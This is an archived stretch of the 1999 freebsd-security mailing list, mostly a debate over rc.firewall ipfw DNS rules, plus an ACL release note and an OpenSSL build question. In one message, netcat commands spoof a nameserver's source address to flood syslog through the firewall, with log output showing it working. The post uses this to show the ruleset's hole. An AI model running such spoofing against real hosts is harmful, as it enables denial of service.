ACL-0.1.1.tgz: updated for -CURRENT, some bugfixes Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org http://www.watson.org/fbsd-hardening/posix1e/acl/ http://www.watson.org/fbsd-hardening/posix1e/acl/acl-0.1.1.tgz Changes since last time: 4.0-CURRENT support vop_generic_getacl fixed (was pretty broken) acl_to_text now handles userids without usernames in pwd.db Still broken: No FFS support yet, no setfacl yet, acl_*_text relies on non-reentrent and stateful getpwnam/getpwent, getgrnam, getgrent. Semantics/syntax issue not worked out for non-POSIX.1e semantics (i.e., AFS) No serious documentation other than the draft standard, and implementation notes (And the source, luke!) Robert N M Watson robert@fledge.watson.org http://www.watson.org/~robert/ PGP key fingerprint: AF B5 5F FF A6 4A 79 37 ED 5F 55 E9 58 04 6A B1 TIS Labs at Network Associates, Safeport Network Services To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Dec 3 13:48:15 1999 Delivered-To: freebsd-security@freebsd.org Received: from gndrsh.dnsmgr.net (GndRsh.dnsmgr.net [198.145.92.4]) by hub.freebsd.org (Postfix) with ESMTP id A852A152B6; Fri, 3 Dec 1999 13:48:04 -0800 (PST) (envelope-from freebsd@gndrsh.dnsmgr.net) Received: (from freebsd@localhost) by gndrsh.dnsmgr.net (8.9.3/8.9.3) id NAA81067; Fri, 3 Dec 1999 13:47:44 -0800 (PST) (envelope-from freebsd) From: "Rodney W. Grimes" Message-Id: <199912032147.NAA81067@gndrsh.dnsmgr.net> Subject: Re: rc.firewall revisited In-Reply-To: <384812A7.EAAB3BD8@algroup.co.uk> from Adam Laurie at "Dec 3, 1999 06:57:43 pm" To: adam@algroup.co.uk (Adam Laurie) Date: Fri, 3 Dec 1999 13:47:43 -0800 (PST) Cc: nate@mt.sri.com (Nate Williams), jhb@FreeBSD.ORG (John Baldwin), freebsd-security@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL54 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org > Nate Williams wrote: > > > > This works, believe me. I've done it. I can squirt data into a > > > "protected" syslog on port 514, which shouldn't be possible. Using my > > > rules, this is no longer possible. > > > > What I'm hearing you state is never trust anything outside your > > firewall, which is a great rule, but not one that I believe you can rely > > on. Sooner or later you must depend on *something* external (other DNS > > servers, etc...), but you can tighten them down. > > Ok, well we're making some progress then... you're almost hearing what > I'm trying to say... :) > > The whole point of a firewall is to stop people doing what they're not > supposed to do. I'm happy to trust my nameserver to send me DNS. That's > all. I don't want it connecting to my NFS mounts, or my syslog or > anything else. Rod's rules allow this, and my rules prevent it. Simple > as that. Rules for DNS should not be written to protect NFS. You want another block of rules to do that. You also have to understand that there are broken DNS clients that will send requests from low numbered ports and if you block those ports on the DNS replies some clients will occasionaly experience DNS lags due to retries, and in a few rare cases total DNS loss. Yes, I have seen Microsoft stacks that use port 2049 as the source of thier DNS query, and yes I have filter rules that stopped that valid query dead in the track, and yes I took the network level 2 escilation problem report to figure out what the bloddy hell had gone wrong. Any modification to the block of rules I wrote to specifically address a single inside DNS server talking to the global outside type of network configuration will cause some DNS problems. Additional rules to protect NFS and other stuff are a totally seperate issue and have to be delt with seperately. I was only addressing the DNS issue, nothering more, nothing less. > > > > > > > > > As long as we don't allow 'spoofed' traffic to appear to be coming from > > > > $dnsserver, this is a very safe set of rules (although incomplete, as > > > > Rod points out). > > > > > > How do you tell the difference between a spoofed packet and a > > > non-spoofed packet with ipfw? > > > > By the IP address being used. If the source is from an address behind > > the firewall, it's spoofed. > > The IP address is the thing being spoofed. It will appear to be the DNS > server. If you've only got one interface, there's no way to see the > difference between the spoofed and the real. Ahhh.. now we jumped from a forwarding firewall to a single host, completely different ball game. IMHO, no simple single host should be running named, so: ipfw add X deny all from any to any 53 in via $if ipfw add X+1 deny all from any 53 to any out via $if Note, this _ONLY_ addresses DNS, and if your trying to write complete, coherent, understandable and working rules you have to deal with each and every one on that level. You can collapse whole blocks on the simple host case, but for a real forwarding firewall that often leads to errors. > > > > > Otherwise, you can't know (or care), because 'spoofing' is often used > > for legitimate reasons. So, you must assume that any traffic outside is > > suspect, and make sure that any 'suspect' traffic is filtered correctly > > and hope you catch everything. > > > > Here's my rules. They could be re-ordered, and probably simplified, but > > they work pretty well. > > > > 1) Drop anything that claims to be you coming from the outside. > > 2) Drop RFC 1918 unroutable traffic (incoming/outgoing) > > 3) Don't allow packets with a multicast source address (in/out). > > 4) Drop anything that isn't using an internal network address from going out. > > 5) Don't allow broadcast traffic in/out > > > > [ At this point, the traffic is mostly 'sanitized'. You know that > > whatever is coming and going is 'legitimate'. The outside stuff is not > > to be trusted. > > When I dial into the net from my notebook, there is only an outside. > No-one is 'sanitised'. > > Anyway, can we get back to the matter in hand...? > > This was not intended to turn into a masterclass for firewall rule > building - just a simple set of replacement rules for the current ones, > regardless of how complete they are. I have pointed out some specific > deficiencies in the current rules and proposed some amendments. No-one > has yet pointed out a flaw or a hole in my rules, except that they are > "not complete". I agree, but they do do the job they set out to do, > unlike the current ones... i.e. block low port udp, and nfs, but allow > dns and time. Where's the problem? Provide a context or uni diff to -currents /etc/rc.firewall and I'll give you a ``review'', and a possible ``commit''. -- Rod Grimes - KD7CAX @ CN85sl - (RWG25) rgrimes@gndrsh.dnsmgr.net To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Dec 3 15:25: 0 1999 Delivered-To: freebsd-security@freebsd.org Received: from green.dyndns.org (localhost [127.0.0.1]) by hub.freebsd.org (Postfix) with ESMTP id A726C152A2 for ; Fri, 3 Dec 1999 15:24:54 -0800 (PST) (envelope-from green@FreeBSD.org) Received: from localhost (green@localhost [127.0.0.1]) by green.dyndns.org (8.9.3/8.9.3) with ESMTP id SAA33903; Fri, 3 Dec 1999 18:22:06 -0500 (EST) (envelope-from green@FreeBSD.org) Date: Fri, 3 Dec 1999 18:21:57 -0500 (EST) From: Brian Fundakowski Feldman X-Sender: green@green.dyndns.org To: Dan Harnett Cc: Mike Tancsa , freebsd-security@FreeBSD.org Subject: Re: Other outstanding vulnerabilities In-Reply-To: <19991203153353.5FB085D026@mail.wzrd.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Fri, 3 Dec 1999, Dan Harnett wrote: > Hello, > > It has been my experience that the setsockopt() DoS can be avoided by setting > NMBCLUSTERS to a reasonably high level and setting a limit on the number of > file descriptors that any given user can use (be it through the shell or through > /etc/login.conf). I realize this is not a fix, but it seems to work until there > is a fix available. There is a limit to socket buffer total size in 4.0. You can wait for that to come out, or possibly MFC it yourself (not too hard.) There is also work to make these resource shortages less harmful (i.e. not panic), but that's not quite done yet. Look for "sbsize". > > Dan Harnett -- Brian Fundakowski Feldman \ FreeBSD: The Power to Serve! / green@FreeBSD.org `------------------------------' To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Dec 3 18:46:15 1999 Delivered-To: freebsd-security@freebsd.org Received: from cc942873-a.ewndsr1.nj.home.com (cc942873-a.ewndsr1.nj.home.com [24.2.89.207]) by hub.freebsd.org (Postfix) with ESMTP id 49BF414D2F for ; Fri, 3 Dec 1999 18:46:05 -0800 (PST) (envelope-from cjc@cc942873-a.ewndsr1.nj.home.com) Received: (from cjc@localhost) by cc942873-a.ewndsr1.nj.home.com (8.9.3/8.9.3) id VAA32715 for freebsd-security@freebsd.org; Fri, 3 Dec 1999 21:48:51 -0500 (EST) (envelope-from cjc) From: "Crist J. Clark" Message-Id: <199912040248.VAA32715@cc942873-a.ewndsr1.nj.home.com> Subject: OpenSSL does not build under 2.2.8S? To: freebsd-security@freebsd.org Date: Fri, 3 Dec 1999 21:48:51 -0500 (EST) Reply-To: cjclark@home.com X-Mailer: ELM [version 2.4ME+ PL54 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Between the RSAref2 overflow issue and all of the chatter about OpenSSH, I figured I would update my systems. I am having trouble building OpenSSL on an old 2.2.8-STABLE machine. It is a production machine, a mailserver, so I would rather not go through the rather large production of upgrading to 3.x. I am trying to build from the ports and this is the error, # cd /usr/ports/security/openssl # make ===> Building for openssl-0.9.4 . . . making all in crypto/comp... cc -I.. -I../../include -fPIC -DRSAref -DTERMIOS -DL_ENDIAN -O -pipe -DSHA1_ASM -DMD5_ASM -DRMD160_ASM -c comp_lib.c cc -I.. -I../../include -fPIC -DRSAref -DTERMIOS -DL_ENDIAN -O -pipe -DSHA1_ASM -DMD5_ASM -DRMD160_ASM -c c_rle.c cc -I.. -I../../include -fPIC -DRSAref -DTERMIOS -DL_ENDIAN -O -pipe -DSHA1_ASM -DMD5_ASM -DRMD160_ASM -c c_zlib.c ar r ../../libcrypto.a comp_lib.o c_rle.o c_zlib.o /usr/bin/ranlib ../../libcrypto.a + cc -shared -o libcrypto.so.1 -Wl,-S,-soname=libcrypto.so.1 -Wl,--whole-archive libcrypto.a ld: invalid command option `--whole-archive' *** Error code 1 Stop. *** Error code 1 Stop. *** Error code 1 Stop. *** Error code 1 Stop. # The problem apparently lies with the version of ld(1) in 2.2.8S. My last make-world and CVSup was October 31 of this year. I am no shared library or ld expert, so I hesitate to go into the Makefile myself and mess with that command. Has anyone recently build OpenSSL on a 2.2.8S system? Can anyone provide me with the "proper" command for 2.2.8S that does the same job as the one that fails above? Thanks for the help. [Note: I posted this to -questions, this morning but only silence. Thought it was relevent, and I might get a response, on this list.] -- Crist J. Clark cjclark@home.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sat Dec 4 5: 4:51 1999 Delivered-To: freebsd-security@freebsd.org Received: from eastwood.aldigital.algroup.co.uk (eastwood.aldigital.algroup.co.uk [194.128.162.193]) by hub.freebsd.org (Postfix) with ESMTP id 4361114D3F; Sat, 4 Dec 1999 05:04:40 -0800 (PST) (envelope-from adam@algroup.co.uk) Received: from algroup.co.uk ([192.168.192.2]) by eastwood.aldigital.algroup.co.uk (8.8.8/8.6.12) with ESMTP id NAA17933; Sat, 4 Dec 1999 13:02:11 GMT Message-ID: <384910D5.43271787@algroup.co.uk> Date: Sat, 04 Dec 1999 13:02:13 +0000 From: Adam Laurie X-Mailer: Mozilla 4.7 [en-gb] (Win98; I) X-Accept-Language: en MIME-Version: 1.0 To: Nate Williams Cc: "Rodney W. Grimes" , John Baldwin , freebsd-security@FreeBSD.ORG Subject: Re: rc.firewall revisited References: <199912021954.LAA74271@gndrsh.dnsmgr.net> <3846FA12.F1480F19@algroup.co.uk> <199912022343.QAA08462@mt.sri.com> <3847ACBE.3D66A556@algroup.co.uk> <3847C0CB.2E9774A@algroup.co.uk> <199912031601.JAA10973@mt.sri.com> <3847F55E.B546B2EB@algroup.co.uk> <199912031658.JAA11193@mt.sri.com> <3847F939.47978597@algroup.co.uk> <199912031729.KAA11375@mt.sri.com> <384812A7.EAAB3BD8@algroup.co.uk> <199912032006.NAA12109@mt.sri.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Nate Williams wrote: > > > > > This works, believe me. I've done it. I can squirt data into a > > > > "protected" syslog on port 514, which shouldn't be possible. Using my > > > > rules, this is no longer possible. > > > > > > What I'm hearing you state is never trust anything outside your > > > firewall, which is a great rule, but not one that I believe you can rely > > > on. Sooner or later you must depend on *something* external (other DNS > > > servers, etc...), but you can tighten them down. > > > > Ok, well we're making some progress then... you're almost hearing what > > I'm trying to say... :) > > The problem here is that you're assuming a particular kind of setup that we're > not assuming. You're assuming that the box is a standalone system, and > we're not assuming that. The thing we're assuming is that this box is a > firewall, which I don't believe you are assuming. > > >From that, I think we can agree that attempting to build any sort of > generic ruleset that fits every situation is impossible to do. > > > > 1) Drop anything that claims to be you coming from the outside. > > > 2) Drop RFC 1918 unroutable traffic (incoming/outgoing) > > > 3) Don't allow packets with a multicast source address (in/out). > > > 4) Drop anything that isn't using an internal network address from going out. > > > 5) Don't allow broadcast traffic in/out > > > > > > [ At this point, the traffic is mostly 'sanitized'. You know that > > > whatever is coming and going is 'legitimate'. The outside stuff is not > > > to be trusted. > > > > When I dial into the net from my notebook, there is only an outside. > > No-one is 'sanitised'. > > Again, you're making an assumption about a particular setup. That > assumption isn't any more/less valid than our assumptions, so we end up > with a non-generic solution. > > > Anyway, can we get back to the matter in hand...? > > This *is* the matter at hand. You're making a solution for your > situation, which is not necessarily appropriate for my situation, or for > Rod's situation. > > The problem is that there is no generic solution. As I pointed out earlier on, this is a generic solution - it just needs a few different versions of the rules to cope with each scenario. I will say it one last time, then give up: your ruleset allows UDP services to be attacked from a "trusted" host, or something that is able to spoof it. Mine does not. cheers, Adam -- Adam Laurie Tel: +44 (181) 742 0755 A.L. Digital Ltd. Fax: +44 (181) 742 5995 Voysey House Barley Mow Passage http://www.aldigital.co.uk London W4 4GB mailto:adam@algroup.co.uk UNITED KINGDOM PGP key on keyservers To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sat Dec 4 5:16:47 1999 Delivered-To: freebsd-security@freebsd.org Received: from vinyl.sentex.ca (vinyl.sentex.ca [209.112.4.14]) by hub.freebsd.org (Postfix) with ESMTP id 4CE9714D3F for ; Sat, 4 Dec 1999 05:16:36 -0800 (PST) (envelope-from mike@sentex.net) Received: from granite.sentex.net (granite-atm.sentex.ca [209.112.4.1]) by vinyl.sentex.ca (8.9.3/8.9.3) with ESMTP id IAA16283; Sat, 4 Dec 1999 08:16:01 -0500 (EST) (envelope-from mike@sentex.net) Received: from ospf-mdt.sentex.net (ospf-mdt.sentex.net [205.211.164.81]) by granite.sentex.net (8.8.8/8.6.9) with SMTP id IAA23675; Sat, 4 Dec 1999 08:15:55 -0500 (EST) From: mike@sentex.net (Mike Tancsa) To: danh@wzrd.com (Dan Harnett) Cc: freebsd-security@freebsd.org Subject: Re: Other outstanding vulnerabilities Date: Sat, 04 Dec 1999 13:15:54 GMT Message-ID: <384913e7.733706143@mail.sentex.net> References: <3.0.5.32.19991202154308.01bc93c0@staff.sentex.ca> In-Reply-To: X-Mailer: Forte Agent .99e/32.227 Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On 3 Dec 1999 10:34:35 -0500, in sentex.lists.freebsd.misc you wrote: >Hello, > >It has been my experience that the setsockopt() DoS can be avoided by setting >NMBCLUSTERS to a reasonably high level and setting a limit on the number of Hi, Whats a reasonably high number ? Thanks, ---Mike Mike Tancsa (mdtancsa@sentex.net) Sentex Communications Corp, Waterloo, Ontario, Canada "Given enough time, 100 monkeys on 100 routers could setup a national IP network." (KDW2) To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sat Dec 4 7:58:28 1999 Delivered-To: freebsd-security@freebsd.org Received: from ns.mt.sri.com (ns.mt.sri.com [206.127.79.91]) by hub.freebsd.org (Postfix) with ESMTP id B197B14F6C; Sat, 4 Dec 1999 07:58:24 -0800 (PST) (envelope-from nate@mt.sri.com) Received: from mt.sri.com (rocky.mt.sri.com [206.127.76.100]) by ns.mt.sri.com (8.9.3/8.9.3) with SMTP id IAA11471; Sat, 4 Dec 1999 08:57:13 -0700 (MST) (envelope-from nate@rocky.mt.sri.com) Received: by mt.sri.com (SMI-8.6/SMI-SVR4) id IAA16413; Sat, 4 Dec 1999 08:57:12 -0700 Date: Sat, 4 Dec 1999 08:57:12 -0700 Message-Id: <199912041557.IAA16413@mt.sri.com> From: Nate Williams MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit To: Adam Laurie Cc: Nate Williams , "Rodney W. Grimes" , John Baldwin , freebsd-security@FreeBSD.ORG Subject: Re: rc.firewall revisited In-Reply-To: <384910D5.43271787@algroup.co.uk> References: <199912021954.LAA74271@gndrsh.dnsmgr.net> <3846FA12.F1480F19@algroup.co.uk> <199912022343.QAA08462@mt.sri.com> <3847ACBE.3D66A556@algroup.co.uk> <3847C0CB.2E9774A@algroup.co.uk> <199912031601.JAA10973@mt.sri.com> <3847F55E.B546B2EB@algroup.co.uk> <199912031658.JAA11193@mt.sri.com> <3847F939.47978597@algroup.co.uk> <199912031729.KAA11375@mt.sri.com> <384812A7.EAAB3BD8@algroup.co.uk> <199912032006.NAA12109@mt.sri.com> <384910D5.43271787@algroup.co.uk> X-Mailer: VM 6.34 under 19.16 "Lille" XEmacs Lucid Reply-To: nate@mt.sri.com (Nate Williams) Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org > > The problem is that there is no generic solution. > > As I pointed out earlier on, this is a generic solution - it just needs > a few different versions of the rules to cope with each scenario. I will > say it one last time, then give up: your ruleset allows UDP services to > be attacked from a "trusted" host, or something that is able to spoof > it. Mine does not. Except in many cases, the 'trusted' host *IS* the firewall itself, or a machine that you *can* trust if it's inside the firewall. This is acceptable in many cases, and for what it's worth, in my ruleset it still doesn't allow UDP services to be attacked. You didn't read *my* list of rules very carefully. Nate To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sat Dec 4 11:57:51 1999 Delivered-To: freebsd-security@freebsd.org Received: from eastwood.aldigital.algroup.co.uk (eastwood.aldigital.algroup.co.uk [194.128.162.193]) by hub.freebsd.org (Postfix) with ESMTP id C5F7515215; Sat, 4 Dec 1999 11:57:34 -0800 (PST) (envelope-from adam@algroup.co.uk) Received: from algroup.co.uk ([192.168.192.2]) by eastwood.aldigital.algroup.co.uk (8.8.8/8.6.12) with ESMTP id TAA05323; Sat, 4 Dec 1999 19:46:03 GMT Message-ID: <38496F80.EEC8AD51@algroup.co.uk> Date: Sat, 04 Dec 1999 19:46:08 +0000 From: Adam Laurie X-Mailer: Mozilla 4.7 [en-gb] (Win98; I) X-Accept-Language: en MIME-Version: 1.0 To: Nate Williams Cc: "Rodney W. Grimes" , John Baldwin , freebsd-security@FreeBSD.ORG Subject: Re: rc.firewall revisited References: <199912021954.LAA74271@gndrsh.dnsmgr.net> <3846FA12.F1480F19@algroup.co.uk> <199912022343.QAA08462@mt.sri.com> <3847ACBE.3D66A556@algroup.co.uk> <3847C0CB.2E9774A@algroup.co.uk> <199912031601.JAA10973@mt.sri.com> <3847F55E.B546B2EB@algroup.co.uk> <199912031658.JAA11193@mt.sri.com> <3847F939.47978597@algroup.co.uk> <199912031729.KAA11375@mt.sri.com> <384812A7.EAAB3BD8@algroup.co.uk> <199912032006.NAA12109@mt.sri.com> <384910D5.43271787@algroup.co.uk> <199912041557.IAA16413@mt.sri.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Nate Williams wrote: > > > > The problem is that there is no generic solution. > > > > As I pointed out earlier on, this is a generic solution - it just needs > > a few different versions of the rules to cope with each scenario. I will > > say it one last time, then give up: your ruleset allows UDP services to > > be attacked from a "trusted" host, or something that is able to spoof > > it. Mine does not. > > Except in many cases, the 'trusted' host *IS* the firewall itself, or a > machine that you *can* trust if it's inside the firewall. Yes, but at some point in your chain you have to talk to the outside world. It is at that point that you are vulnerable as you are trusting an external machine. > > This is acceptable in many cases, and for what it's worth, in my ruleset > it still doesn't allow UDP services to be attacked. You didn't read > *my* list of rules very carefully. Since you didn't post any rules, only statements about what they do, I can't comment. Rod also claimed his ruleset was "safe", and you backed him up, but it isn't. cheers, Adam -- Adam Laurie Tel: +44 (181) 742 0755 A.L. Digital Ltd. Fax: +44 (181) 742 5995 Voysey House Barley Mow Passage http://www.aldigital.co.uk London W4 4GB mailto:adam@algroup.co.uk UNITED KINGDOM PGP key on keyservers To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sat Dec 4 12: 9:28 1999 Delivered-To: freebsd-security@freebsd.org Received: from eastwood.aldigital.algroup.co.uk (eastwood.aldigital.algroup.co.uk [194.128.162.193]) by hub.freebsd.org (Postfix) with ESMTP id 2A10015416; Sat, 4 Dec 1999 12:09:03 -0800 (PST) (envelope-from adam@algroup.co.uk) Received: from algroup.co.uk ([192.168.192.2]) by eastwood.aldigital.algroup.co.uk (8.8.8/8.6.12) with ESMTP id UAA06193; Sat, 4 Dec 1999 20:07:04 GMT Message-ID: <3849746D.9B9F18E8@algroup.co.uk> Date: Sat, 04 Dec 1999 20:07:09 +0000 From: Adam Laurie X-Mailer: Mozilla 4.7 [en-gb] (Win98; I) X-Accept-Language: en MIME-Version: 1.0 To: "Rodney W. Grimes" Cc: Nate Williams , John Baldwin , freebsd-security@FreeBSD.ORG Subject: Re: rc.firewall revisited References: <199912032147.NAA81067@gndrsh.dnsmgr.net> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org "Rodney W. Grimes" wrote: > Rules for DNS should not be written to protect NFS. You want another > block of rules to do that. You also have to understand that there > are broken DNS clients that will send requests from low numbered ports > and if you block those ports on the DNS replies some clients will > occasionaly experience DNS lags due to retries, and in a few rare > cases total DNS loss. Yes, I have seen Microsoft stacks that use > port 2049 as the source of thier DNS query, and yes I have filter > rules that stopped that valid query dead in the track, and yes I took > the network level 2 escilation problem report to figure out what the > bloddy hell had gone wrong. I'm not doing any reply filtering based on source port, so this wouldn't be a problem. > > Any modification to the block of rules I wrote to specifically address > a single inside DNS server talking to the global outside type of network > configuration will cause some DNS problems. > > Additional rules to protect NFS and other stuff are a totally seperate > issue and have to be delt with seperately. I was only addressing the > DNS issue, nothering more, nothing less. Unfortunately not, this is what I've been trying to explain... You have introduced a great big hole by trusting your DNS server. Since explaining theory doesn't seem to get us anywhere, allow me to demonstrate: My test rig is a FreeBSD box with two interfaces, acting as a firewall for a back-end network. In this scenario, the "protected" internal network is 192.168.111 and the outward facing is 192.168.192. The "ISP" network is 192.168.254. The "protected" interface is wi0 and the outside world is lnc1. The nameserver is 192.168.254.129 (dns.my.isp). Here are the relevant rules as you posted to the freebsd-security list (with a minor typo correction, logging, and my test DNS server inserted): 02100 allow log udp from any to 192.168.254.129 53 02200 allow log udp from 192.168.254.129 53 to any 02300 deny log udp from any to any 53 02400 deny log udp from any 53 to any Just to check DNS works, a local userland request: Dec 4 13:07:31 freeby /kernel: ipfw: 2100 Accept UDP 192.168.192.3:1222 192.168.254.129:53 out via lnc1 Dec 4 13:07:31 freeby /kernel: ipfw: 2200 Accept UDP 192.168.254.129:53 192.168.192.3:1222 in via lnc1 Dec 4 13:07:31 freeby /kernel: ipfw: 2100 Accept UDP 192.168.192.3:1223 192.168.254.129:53 out via lnc1 Dec 4 13:07:31 freeby /kernel: ipfw: 2200 Accept UDP 192.168.254.129:53 192.168.192.3:1223 in via lnc1 and a "protected" machine's DNS request passing through the firewall: Dec 4 13:26:37 freeby /kernel: ipfw: 2100 Accept UDP 192.168.111.69:1149 192.168.254.129:53 in via wi0 Dec 4 13:26:37 freeby /kernel: ipfw: 2100 Accept UDP 192.168.192.3:1149 192.168.254.129:53 out via lnc1 Dec 4 13:26:37 freeby /kernel: ipfw: 2200 Accept UDP 192.168.254.129:53 192.168.111.69:1149 in via lnc1 Dec 4 13:26:37 freeby /kernel: ipfw: 2200 Accept UDP 192.168.254.129:53 192.168.111.69:1149 out via wi0 A DOS attack on the firewall itself (fill the hard disk by hosing syslog), from the protected machine, being stopped: friend# ./nc -n -p 53 -u 192.168.192.3 514 little pig, little pig, let me in... ^C Dec 4 13:57:30 freeby /kernel: ipfw: 2400 Deny UDP 192.168.111.69:53 192.168.192.3:514 in via wi0 The same attack succeeding by spoofing the nameserver: friend# ./nc -n -p 53 -u -s 192.168.254.129 192.168.192.3 514 your host is toast ^C Dec 4 14:00:50 freeby /kernel: ipfw: 2200 Accept UDP 192.168.254.129:53 192.168.192.3:514 in via wi0 Dec 4 14:00:50 dns.my.isp your host is toast And again, but this time from the outside: foe# ./nc -n -p 53 -u 192.168.192.3 514 no really, you're owned now. ^C Dec 4 17:44:21 freeby /kernel: ipfw: 2400 Deny UDP 192.168.192.1:53 192.168.192.3:514 in via lnc1 and once more, we succeed simply by spoofing: foe# ./nc -n -p 53 -u -s 192.168.254.129 192.168.192.3 514 Muhahahahahaha ^C Dec 4 17:48:08 freeby /kernel: ipfw: 2200 Accept UDP 192.168.254.129:53 192.168.192.3:514 in via lnc1 Dec 4 17:48:08 dns.my.isp Muhahahahahaha and finally, through the firewall and off to grandma's PC we go... foe# ./nc -n -p 53 -u -s 192.168.254.129 192.168.111.69 514 my, what a big disk you have, grandma! ^C Dec 4 17:52:47 freeby /kernel: ipfw: 2200 Accept UDP 192.168.254.129:53 192.168.111.69:514 in via lnc1 Dec 4 17:52:47 freeby /kernel: ipfw: 2200 Accept UDP 192.168.254.129:53 192.168.111.69:514 out via wi0 Clearly, other services can be attacked, but I used syslog as it's nice and easy to see the results... > > > > The IP address is the thing being spoofed. It will appear to be the DNS > > server. If you've only got one interface, there's no way to see the > > difference between the spoofed and the real. > > Ahhh.. now we jumped from a forwarding firewall to a single host, completely > different ball game. IMHO, no simple single host should be running named, > so: > ipfw add X deny all from any to any 53 in via $if > ipfw add X+1 deny all from any 53 to any out via $if > > Note, this _ONLY_ addresses DNS, and if your trying to write complete, > coherent, understandable and working rules you have to deal with each > and every one on that level. You can collapse whole blocks on the > simple host case, but for a real forwarding firewall that often leads > to errors. This also completely misses the point. I'm not trying to protect MY dns server, or even running one, I'm trying to protect myself FROM my dns server. As demonstrated above, even on a machine with two NICs you can be attacked from the outside, so anti-spoofing rules wouldn't apply, and you could only protect yourself from machines you theoretically trust anyway. > > This was not intended to turn into a masterclass for firewall rule > > building - just a simple set of replacement rules for the current ones, > > regardless of how complete they are. I have pointed out some specific > > deficiencies in the current rules and proposed some amendments. No-one > > has yet pointed out a flaw or a hole in my rules, except that they are > > "not complete". I agree, but they do do the job they set out to do, > > unlike the current ones... i.e. block low port udp, and nfs, but allow > > dns and time. Where's the problem? > > Provide a context or uni diff to -currents /etc/rc.firewall and I'll give you > a ``review'', and a possible ``commit''. Fine. Can I also include the other changes I mentioned (moving IP addresses into variables, which will also require some additions to rc.conf, and a whole new section for a standalone pc)? cheers, Adam -- Adam Laurie Tel: +44 (181) 742 0755 A.L. Digital Ltd. Fax: +44 (181) 742 5995 Voysey House Barley Mow Passage http://www.aldigital.co.uk London W4 4GB mailto:adam@algroup.co.uk UNITED KINGDOM PGP key on keyservers To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sat Dec 4 14: 2:59 1999 Delivered-To: freebsd-security@freebsd.org Received: from gndrsh.dnsmgr.net (GndRsh.dnsmgr.net [198.145.92.4]) by hub.freebsd.org (Postfix) with ESMTP id 20FAB14C2E; Sat, 4 Dec 1999 14:02:55 -0800 (PST) (envelope-from freebsd@gndrsh.dnsmgr.net) Received: (from freebsd@localhost) by gndrsh.dnsmgr.net (8.9.3/8.9.3) id OAA85441; Sat, 4 Dec 1999 14:02:05 -0800 (PST) (envelope-from freebsd) From: "Rodney W. Grimes" Message-Id: <199912042202.OAA85441@gndrsh.dnsmgr.net> Subject: Re: rc.firewall revisited In-Reply-To: <3849746D.9B9F18E8@algroup.co.uk> from Adam Laurie at "Dec 4, 1999 08:07:09 pm" To: adam@algroup.co.uk (Adam Laurie) Date: Sat, 4 Dec 1999 14:02:05 -0800 (PST) Cc: nate@mt.sri.com (Nate Williams), jhb@FreeBSD.ORG (John Baldwin), freebsd-security@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL54 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org ... Didn't even read the rest, already wasted too much of my time on this thread ... It has been saved for reading when cdiff is in hand ... > > Provide a context or uni diff to -currents /etc/rc.firewall and I'll give you > > a ``review'', and a possible ``commit''. > > Fine. Can I also include the other changes I mentioned (moving IP > addresses into variables, which will also require some additions to > rc.conf, and a whole new section for a standalone pc)? You can submit anything you want, but remember I am going to ``review'' it, which means you may get a lot of things back you'll need to go work on :-). Like a request for a handbook section to explain all the new knobs you added, and man page updates, etc, etc... People think Bruce is a nit pick, well, Just ask Sheldon about my ``reviews'' some time. The sh(1) man page update process was 20 some odd iterations and 3 to 4 weeks of wall clock time before it got the ``Reviewed by:'' stamp from me. The bde sio(4) and fastintr(9) driver code going into FreeBSD 1.0 was something like 100 iterations, a 50% code change, and a man month of time on both mine and Bruces part. -- Rod Grimes - KD7CAX @ CN85sl - (RWG25) rgrimes@gndrsh.dnsmgr.net To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sat Dec 4 15:24:29 1999 Delivered-To: freebsd-security@freebsd.org Received: from eastwood.aldigital.algroup.co.uk (eastwood.aldigital.algroup.co.uk [194.128.162.193]) by hub.freebsd.org (Postfix) with ESMTP id 5CD79153C1; Sat, 4 Dec 